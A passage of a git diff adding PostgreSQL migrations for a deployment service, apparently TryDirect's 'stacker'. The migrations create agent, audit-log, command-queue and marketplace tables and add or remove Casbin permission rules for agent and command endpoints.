EXISTS agents; diff --git a/stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.up.sql b/stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.up.sql new file mode 100644 index 0000000..8cd5476 --- /dev/null +++ b/stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.up.sql @@ -0,0 +1,35 @@ +-- Create agents table +CREATE TABLE agents ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + deployment_hash VARCHAR(64) UNIQUE NOT NULL REFERENCES deployment(deployment_hash) ON DELETE CASCADE, + capabilities JSONB DEFAULT '[]'::jsonb, + version VARCHAR(50), + system_info JSONB DEFAULT '{}'::jsonb, + last_heartbeat TIMESTAMP, + status VARCHAR(50) DEFAULT 'offline', + created_at TIMESTAMP DEFAULT NOW(), + updated_at TIMESTAMP DEFAULT NOW(), + CONSTRAINT chk_agent_status CHECK (status IN ('online', 'offline', 'degraded')) +); + +CREATE INDEX idx_agents_deployment_hash ON agents(deployment_hash); +CREATE INDEX idx_agents_status ON agents(status); +CREATE INDEX idx_agents_last_heartbeat ON agents(last_heartbeat); + +-- Create audit_log table +CREATE TABLE audit_log ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + agent_id UUID REFERENCES agents(id) ON DELETE SET NULL, + deployment_hash VARCHAR(64), + action VARCHAR(100) NOT NULL, + status VARCHAR(50), + details JSONB DEFAULT '{}'::jsonb, + ip_address INET, + user_agent TEXT, + created_at TIMESTAMP DEFAULT NOW() +); + +CREATE INDEX idx_audit_log_agent_id ON audit_log(agent_id); +CREATE INDEX idx_audit_log_deployment_hash ON audit_log(deployment_hash); +CREATE INDEX idx_audit_log_action ON audit_log(action); +CREATE INDEX idx_audit_log_created_at ON audit_log(created_at); diff --git a/stacker/stacker/migrations/20251222160220_casbin_agent_rules.down.sql b/stacker/stacker/migrations/20251222160220_casbin_agent_rules.down.sql new file mode 100644 index 0000000..00528cc --- /dev/null +++ b/stacker/stacker/migrations/20251222160220_casbin_agent_rules.down.sql @@ -0,0 +1,18 @@ +-- Remove agent casbin rules +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/agent/commands/report' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/agent/commands/wait/:deployment_hash' AND v2 = 'GET'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'group_anonymous' AND v1 = '/api/v1/agent/register' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/v1/agent/register' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/agent/register' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'g' AND v0 = 'agent' AND v1 = 'group_anonymous'; diff --git a/stacker/stacker/migrations/20251222160220_casbin_agent_rules.up.sql b/stacker/stacker/migrations/20251222160220_casbin_agent_rules.up.sql new file mode 100644 index 0000000..7a08901 --- /dev/null +++ b/stacker/stacker/migrations/20251222160220_casbin_agent_rules.up.sql @@ -0,0 +1,30 @@ +-- Add agent role group and permissions + +-- Create agent role group (inherits from group_anonymous for health checks) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'agent', 'group_anonymous', '', '', '', '') +ON CONFLICT DO NOTHING; + +-- Agent registration (anonymous, users, and admin can register agents) +-- This allows agents to bootstrap themselves during deployment +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/agent/register', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/v1/agent/register', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/v1/agent/register', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +-- Agent long-poll for commands (only agents can do this) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'agent', '/api/v1/agent/commands/wait/:deployment_hash', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +-- Agent report command results (only agents can do this) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'agent', '/api/v1/agent/commands/report', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20251222163002_create_commands_and_queue.down.sql b/stacker/stacker/migrations/20251222163002_create_commands_and_queue.down.sql new file mode 100644 index 0000000..6186a0c --- /dev/null +++ b/stacker/stacker/migrations/20251222163002_create_commands_and_queue.down.sql @@ -0,0 +1,3 @@ +-- Drop command_queue and commands tables +DROP TABLE IF EXISTS command_queue; +DROP TABLE IF EXISTS commands; diff --git a/stacker/stacker/migrations/20251222163002_create_commands_and_queue.up.sql b/stacker/stacker/migrations/20251222163002_create_commands_and_queue.up.sql new file mode 100644 index 0000000..3b34222 --- /dev/null +++ b/stacker/stacker/migrations/20251222163002_create_commands_and_queue.up.sql @@ -0,0 +1,40 @@ +-- Create commands table +CREATE TABLE commands ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + command_id VARCHAR(64) UNIQUE NOT NULL, + deployment_hash VARCHAR(64) NOT NULL REFERENCES deployment(deployment_hash) ON DELETE CASCADE, + type VARCHAR(100) NOT NULL, + status VARCHAR(50) DEFAULT 'queued' NOT NULL, + priority VARCHAR(20) DEFAULT 'normal' NOT NULL, + parameters JSONB DEFAULT '{}'::jsonb, + result JSONB, + error JSONB, + created_by VARCHAR(255) NOT NULL, + created_at TIMESTAMP DEFAULT NOW() NOT NULL, + scheduled_for TIMESTAMP, + sent_at TIMESTAMP, + started_at TIMESTAMP, + completed_at TIMESTAMP, + timeout_seconds INTEGER DEFAULT 300, + metadata JSONB DEFAULT '{}'::jsonb, + CONSTRAINT chk_command_status CHECK (status IN ('queued', 'sent', 'executing', 'completed', 'failed', 'cancelled')), + CONSTRAINT chk_command_priority CHECK (priority IN ('low', 'normal', 'high', 'critical')) +); + +CREATE INDEX idx_commands_deployment_hash ON commands(deployment_hash); +CREATE INDEX idx_commands_status ON commands(status); +CREATE INDEX idx_commands_created_by ON commands(created_by); +CREATE INDEX idx_commands_created_at ON commands(created_at); +CREATE INDEX idx_commands_command_id ON commands(command_id); + +-- Create command_queue table for long polling +CREATE TABLE command_queue ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + command_id UUID NOT NULL REFERENCES commands(id) ON DELETE CASCADE, + deployment_hash VARCHAR(64) NOT NULL, + priority INTEGER DEFAULT 0 NOT NULL, + created_at TIMESTAMP DEFAULT NOW() NOT NULL +); + +CREATE INDEX idx_queue_deployment ON command_queue(deployment_hash, priority DESC, created_at ASC); +CREATE INDEX idx_queue_command_id ON command_queue(command_id); diff --git a/stacker/stacker/migrations/20251222163632_casbin_command_rules.down.sql b/stacker/stacker/migrations/20251222163632_casbin_command_rules.down.sql new file mode 100644 index 0000000..ffc2124 --- /dev/null +++ b/stacker/stacker/migrations/20251222163632_casbin_command_rules.down.sql @@ -0,0 +1,4 @@ +-- Remove Casbin rules for command management endpoints +DELETE FROM public.casbin_rule +WHERE (ptype = 'p' AND v0 = 'group_user' AND v1 LIKE '/api/v1/commands%') + OR (ptype = 'p' AND v0 = 'group_admin' AND v1 LIKE '/api/v1/commands%'); diff --git a/stacker/stacker/migrations/20251222163632_casbin_command_rules.up.sql b/stacker/stacker/migrations/20251222163632_casbin_command_rules.up.sql new file mode 100644 index 0000000..1907f42 --- /dev/null +++ b/stacker/stacker/migrations/20251222163632_casbin_command_rules.up.sql @@ -0,0 +1,20 @@ +-- Add Casbin rules for command management endpoints +-- Users and admins can create, list, get, and cancel commands + +-- User permissions: manage commands for their own deployments +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/commands', 'POST', '', '', ''), -- Create command + ('p', 'group_user', '/api/v1/commands/:deployment_hash', 'GET', '', '', ''), -- List commands for deployment + ('p', 'group_user', '/api/v1/commands/:deployment_hash/:command_id', 'GET', '', '', ''), -- Get specific command + ('p', 'group_user', '/api/v1/commands/:deployment_hash/:command_id/cancel', 'POST', '', '', '') -- Cancel command +ON CONFLICT DO NOTHING; + +-- Admin permissions: inherit all user permissions + full access +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_admin', '/api/v1/commands', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/:deployment_hash', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/:deployment_hash/:command_id', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/:deployment_hash/:command_id/cancel', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.down.sql b/stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.down.sql new file mode 100644 index 0000000..035fefa --- /dev/null +++ b/stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.down.sql @@ -0,0 +1,13 @@ +-- Revert updated_at addition and command_queue command_id type change +ALTER TABLE commands + DROP COLUMN IF EXISTS updated_at; + +ALTER TABLE command_queue + DROP CONSTRAINT IF EXISTS command_queue_command_id_fkey; + +ALTER TABLE command_queue + ALTER COLUMN command_id TYPE UUID USING command_id::uuid; + +ALTER TABLE command_queue + ADD CONSTRAINT command_queue_command_id_fkey + FOREIGN KEY (command_id) REFERENCES commands(id) ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.up.sql b/stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.up.sql new file mode 100644 index 0000000..066f50b --- /dev/null +++ b/stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.up.sql @@ -0,0 +1,15 @@ +-- Add updated_at to commands and fix command_queue command_id type + +ALTER TABLE commands +ADD COLUMN IF NOT EXISTS updated_at TIMESTAMP DEFAULT NOW() NOT NULL; + +-- Ensure command_queue.command_id matches commands.command_id (varchar) +ALTER TABLE command_queue + DROP CONSTRAINT IF EXISTS command_queue_command_id_fkey; + +ALTER TABLE command_queue + ALTER COLUMN command_id TYPE VARCHAR(64); + +ALTER TABLE command_queue + ADD CONSTRAINT command_queue_command_id_fkey + FOREIGN KEY (command_id) REFERENCES commands(command_id) ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20251222224041_fix_timestamp_columns.down.sql b/stacker/stacker/migrations/20251222224041_fix_timestamp_columns.down.sql new file mode 100644 index 0000000..b8bfbaf --- /dev/null +++ b/stacker/stacker/migrations/20251222224041_fix_timestamp_columns.down.sql @@ -0,0 +1,8 @@ +-- Revert timestamp conversions +ALTER TABLE deployment + ALTER COLUMN last_seen_at TYPE timestamp; + +ALTER TABLE agents + ALTER COLUMN last_heartbeat TYPE timestamp, + ALTER COLUMN created_at TYPE timestamp, + ALTER COLUMN updated_at TYPE timestamp; diff --git a/stacker/stacker/migrations/20251222224041_fix_timestamp_columns.up.sql b/stacker/stacker/migrations/20251222224041_fix_timestamp_columns.up.sql new file mode 100644 index 0000000..1c01049 --- /dev/null +++ b/stacker/stacker/migrations/20251222224041_fix_timestamp_columns.up.sql @@ -0,0 +1,8 @@ +-- Convert deployment.last_seen_at to timestamptz and agents timestamps to timestamptz +ALTER TABLE deployment + ALTER COLUMN last_seen_at TYPE timestamptz; + +ALTER TABLE agents + ALTER COLUMN last_heartbeat TYPE timestamptz, + ALTER COLUMN created_at TYPE timestamptz, + ALTER COLUMN updated_at TYPE timestamptz; diff --git a/stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.down.sql b/stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.down.sql new file mode 100644 index 0000000..95f4c57 --- /dev/null +++ b/stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.down.sql @@ -0,0 +1,26 @@ +-- Revert timestamptz changes back to timestamp (non-tz) + +-- command_queue +ALTER TABLE command_queue + ALTER COLUMN created_at TYPE timestamp; + +-- commands +ALTER TABLE commands + ALTER COLUMN completed_at TYPE timestamp, + ALTER COLUMN started_at TYPE timestamp, + ALTER COLUMN sent_at TYPE timestamp, + ALTER COLUMN scheduled_for TYPE timestamp, + ALTER COLUMN updated_at TYPE timestamp, + ALTER COLUMN created_at TYPE timestamp; + +-- agents +ALTER TABLE agents + ALTER COLUMN last_heartbeat TYPE timestamp, + ALTER COLUMN updated_at TYPE timestamp, + ALTER COLUMN created_at TYPE timestamp; + +-- deployment +ALTER TABLE deployment + ALTER COLUMN last_seen_at TYPE timestamp, + ALTER COLUMN updated_at TYPE timestamp, + ALTER COLUMN created_at TYPE timestamp; diff --git a/stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.up.sql b/stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.up.sql new file mode 100644 index 0000000..804cce9 --- /dev/null +++ b/stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.up.sql @@ -0,0 +1,26 @@ +-- Convert key timestamp columns to timestamptz so Rust can use DateTime + +-- deployment +ALTER TABLE deployment + ALTER COLUMN created_at TYPE timestamptz, + ALTER COLUMN updated_at TYPE timestamptz, + ALTER COLUMN last_seen_at TYPE timestamptz; + +-- agents +ALTER TABLE agents + ALTER COLUMN created_at TYPE timestamptz, + ALTER COLUMN updated_at TYPE timestamptz, + ALTER COLUMN last_heartbeat TYPE timestamptz; + +-- commands +ALTER TABLE commands + ALTER COLUMN created_at TYPE timestamptz, + ALTER COLUMN updated_at TYPE timestamptz, + ALTER COLUMN scheduled_for TYPE timestamptz, + ALTER COLUMN sent_at TYPE timestamptz, + ALTER COLUMN started_at TYPE timestamptz, + ALTER COLUMN completed_at TYPE timestamptz; + +-- command_queue +ALTER TABLE command_queue + ALTER COLUMN created_at TYPE timestamptz; diff --git a/stacker/stacker/migrations/20251223100000_casbin_agent_rules.up.sql b/stacker/stacker/migrations/20251223100000_casbin_agent_rules.up.sql new file mode 100644 index 0000000..7a26ca0 --- /dev/null +++ b/stacker/stacker/migrations/20251223100000_casbin_agent_rules.up.sql @@ -0,0 +1 @@ +-- Duplicate of 20251222160220_casbin_agent_rules.up.sql; intentionally left empty diff --git a/stacker/stacker/migrations/20251223120000_project_body_to_metadata.down.sql b/stacker/stacker/migrations/20251223120000_project_body_to_metadata.down.sql new file mode 100644 index 0000000..f5c3c77 --- /dev/null +++ b/stacker/stacker/migrations/20251223120000_project_body_to_metadata.down.sql @@ -0,0 +1,2 @@ +-- Revert project.metadata back to project.body +ALTER TABLE project RENAME COLUMN metadata TO body; diff --git a/stacker/stacker/migrations/20251223120000_project_body_to_metadata.up.sql b/stacker/stacker/migrations/20251223120000_project_body_to_metadata.up.sql new file mode 100644 index 0000000..5e33594 --- /dev/null +++ b/stacker/stacker/migrations/20251223120000_project_body_to_metadata.up.sql @@ -0,0 +1,2 @@ +-- Rename project.body to project.metadata to align with model changes +ALTER TABLE project RENAME COLUMN body TO metadata; diff --git a/stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.down.sql b/stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.down.sql new file mode 100644 index 0000000..db8ed1e --- /dev/null +++ b/stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.down.sql @@ -0,0 +1,24 @@ +-- Rollback Casbin rules for agent and commands endpoints +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/agent/register' AND v2='POST' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/agent/register' AND v2='POST' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='client' AND v1='/api/v1/agent/register' AND v2='POST' AND v3='' AND v4='' AND v5=''; + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/agent/commands/report' AND v2='POST' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/agent/commands/report' AND v2='POST' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='client' AND v1='/api/v1/agent/commands/report' AND v2='POST' AND v3='' AND v4='' AND v5=''; + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/agent/commands/wait/:deployment_hash' AND v2='GET' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/agent/commands/wait/:deployment_hash' AND v2='GET' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='client' AND v1='/api/v1/agent/commands/wait/:deployment_hash' AND v2='GET' AND v3='' AND v4='' AND v5=''; + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/commands' AND v2='POST' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/commands' AND v2='POST' AND v3='' AND v4='' AND v5=''; + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/commands/:deployment_hash' AND v2='GET' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/commands/:deployment_hash' AND v2='GET' AND v3='' AND v4='' AND v5=''; + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/commands/:deployment_hash/:command_id' AND v2='GET' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/commands/:deployment_hash/:command_id' AND v2='GET' AND v3='' AND v4='' AND v5=''; + +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/commands/:deployment_hash/:command_id/cancel' AND v2='POST' AND v3='' AND v4='' AND v5=''; +DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/commands/:deployment_hash/:command_id/cancel' AND v2='POST' AND v3='' AND v4='' AND v5=''; diff --git a/stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.up.sql b/stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.up.sql new file mode 100644 index 0000000..7c72aec --- /dev/null +++ b/stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.up.sql @@ -0,0 +1,27 @@ +-- Casbin rules for agent and commands endpoints +-- Allow user and admin to access agent registration and reporting +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/agent/register', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/agent/register', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'client', '/api/v1/agent/register', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/agent/commands/report', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/agent/commands/report', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'client', '/api/v1/agent/commands/report', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Wait endpoint (GET) with path parameter +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/agent/commands/wait/:deployment_hash', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/agent/commands/wait/:deployment_hash', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'client', '/api/v1/agent/commands/wait/:deployment_hash', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Commands endpoints +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/commands', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/commands', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/commands/:deployment_hash', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/commands/:deployment_hash', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/commands/:deployment_hash/:command_id', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/commands/:deployment_hash/:command_id', 'GET', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/api/v1/commands/:deployment_hash/:command_id/cancel', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/api/v1/commands/:deployment_hash/:command_id/cancel', 'POST', '', '', '') ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20251227000000_casbin_root_admin_group.down.sql b/stacker/stacker/migrations/20251227000000_casbin_root_admin_group.down.sql new file mode 100644 index 0000000..6eaf28b --- /dev/null +++ b/stacker/stacker/migrations/20251227000000_casbin_root_admin_group.down.sql @@ -0,0 +1,3 @@ +-- Rollback: Remove root group from group_admin +DELETE FROM public.casbin_rule +WHERE ptype = 'g' AND v0 = 'root' AND v1 = 'group_admin'; diff --git a/stacker/stacker/migrations/20251227000000_casbin_root_admin_group.up.sql b/stacker/stacker/migrations/20251227000000_casbin_root_admin_group.up.sql new file mode 100644 index 0000000..8e2fd9b --- /dev/null +++ b/stacker/stacker/migrations/20251227000000_casbin_root_admin_group.up.sql @@ -0,0 +1,5 @@ +-- Add root group assigned to group_admin for external application access +-- Idempotent insert; ignore if the mapping already exists +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'root', 'group_admin', '', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.down.sql b/stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.down.sql new file mode 100644 index 0000000..d737da4 --- /dev/null +++ b/stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.down.sql @@ -0,0 +1,3 @@ +-- Rollback: remove the group_admin GET /project rule +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/project' AND v2 = 'GET' AND v3 = '' AND v4 = '' AND v5 = ''; diff --git a/stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.up.sql b/stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.up.sql new file mode 100644 index 0000000..8a9e2d3 --- /dev/null +++ b/stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.up.sql @@ -0,0 +1,4 @@ +-- Ensure group_admin can GET /project +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/project', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.down.sql b/stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.down.sql new file mode 100644 index 0000000..6f26ad9 --- /dev/null +++ b/stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.down.sql @@ -0,0 +1,7 @@ +-- Remove Casbin rules for MCP WebSocket endpoint + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 IN ('group_admin', 'group_user') + AND v1 = '/mcp' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.up.sql b/stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.up.sql new file mode 100644 index 0000000..9eb3a28 --- /dev/null +++ b/stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.up.sql @@ -0,0 +1,8 @@ +-- Add Casbin rules for MCP WebSocket endpoint +-- Allow authenticated users and admins to access MCP + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_admin', '/mcp', 'GET', '', '', ''), + ('p', 'group_user', '/mcp', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20251229120000_marketplace.down.sql b/stacker/stacker/migrations/20251229120000_marketplace.down.sql new file mode 100644 index 0000000..0af56cd --- /dev/null +++ b/stacker/stacker/migrations/20251229120000_marketplace.down.sql @@ -0,0 +1,31 @@ +-- Rollback TryDirect Marketplace Schema + +DROP TRIGGER IF EXISTS auto_create_product_on_approval ON stack_template; +DROP FUNCTION IF EXISTS create_product_for_approved_template(); + +DROP TRIGGER IF EXISTS update_stack_template_updated_at ON stack_template; + +-- Drop indexes +DROP INDEX IF EXISTS idx_project_source_template; +DROP INDEX IF EXISTS idx_review_decision; +DROP INDEX IF EXISTS idx_review_template; +DROP INDEX IF EXISTS idx_template_version_latest; +DROP INDEX IF EXISTS idx_template_version_template; +DROP INDEX IF EXISTS idx_stack_template_product; +DROP INDEX IF EXISTS idx_stack_template_category; +DROP INDEX IF EXISTS idx_stack_template_slug; +DROP INDEX IF EXISTS idx_stack_template_status; +DROP INDEX IF EXISTS idx_stack_template_creator; + +-- Remove columns from existing tables +ALTER TABLE IF EXISTS project DROP COLUMN IF EXISTS template_version; +ALTER TABLE IF EXISTS project DROP COLUMN IF EXISTS source_template_id; + +-- Drop marketplace tables (CASCADE to handle dependencies) +DROP TABLE IF EXISTS stack_template_review CASCADE; +DROP TABLE IF EXISTS stack_template_version CASCADE; +DROP TABLE IF EXISTS stack_template CASCADE; +DROP TABLE IF EXISTS stack_category CASCADE; + +-- Drop functions last +DROP FUNCTION IF EXISTS update_updated_at_column() CASCADE; diff --git a/stacker/stacker/migrations/20251229120000_marketplace.up.sql b/stacker/stacker/migrations/20251229120000_marketplace.up.sql new file mode 100644 index 0000000..9bc0504 --- /dev/null +++ b/stacker/stacker/migrations/20251229120000_marketplace.up.sql @@ -0,0 +1,155 @@ +-- TryDirect Marketplace Schema Migration +-- Integrates with existing Product/Rating system + +-- Ensure UUID generation +CREATE EXTENSION IF NOT EXISTS pgcrypto; + +-- 1. Categories (needed by templates) +CREATE TABLE IF NOT EXISTS stack_category ( + id SERIAL PRIMARY KEY, + name VARCHAR(255) UNIQUE NOT NULL +); + +-- 2. Core marketplace table - templates become products when approved +CREATE TABLE IF NOT EXISTS stack_template ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + creator_user_id VARCHAR(50) NOT NULL, + creator_name VARCHAR(255), + name VARCHAR(255) NOT NULL, + slug VARCHAR(255) UNIQUE NOT NULL, + short_description TEXT, + long_description TEXT, + category_id INTEGER REFERENCES stack_category(id), + tags JSONB DEFAULT '[]'::jsonb, + tech_stack JSONB DEFAULT '{}'::jsonb, + status VARCHAR(50) NOT NULL DEFAULT 'draft' CHECK ( + status IN ('draft', 'submitted', 'under_review', 'approved', 'rejected', 'deprecated') + ), + is_configurable BOOLEAN DEFAULT true, + view_count INTEGER DEFAULT 0, + deploy_count INTEGER DEFAULT 0, + product_id INTEGER, -- Links to product table when approved for ratings + created_at TIMESTAMP WITH TIME ZONE DEFAULT now(), + updated_at TIMESTAMP WITH TIME ZONE DEFAULT now(), + approved_at TIMESTAMP WITH TIME ZONE, + CONSTRAINT fk_product FOREIGN KEY(product_id) REFERENCES product(id) ON DELETE SET NULL +); + +CREATE TABLE IF NOT EXISTS stack_template_version ( + id 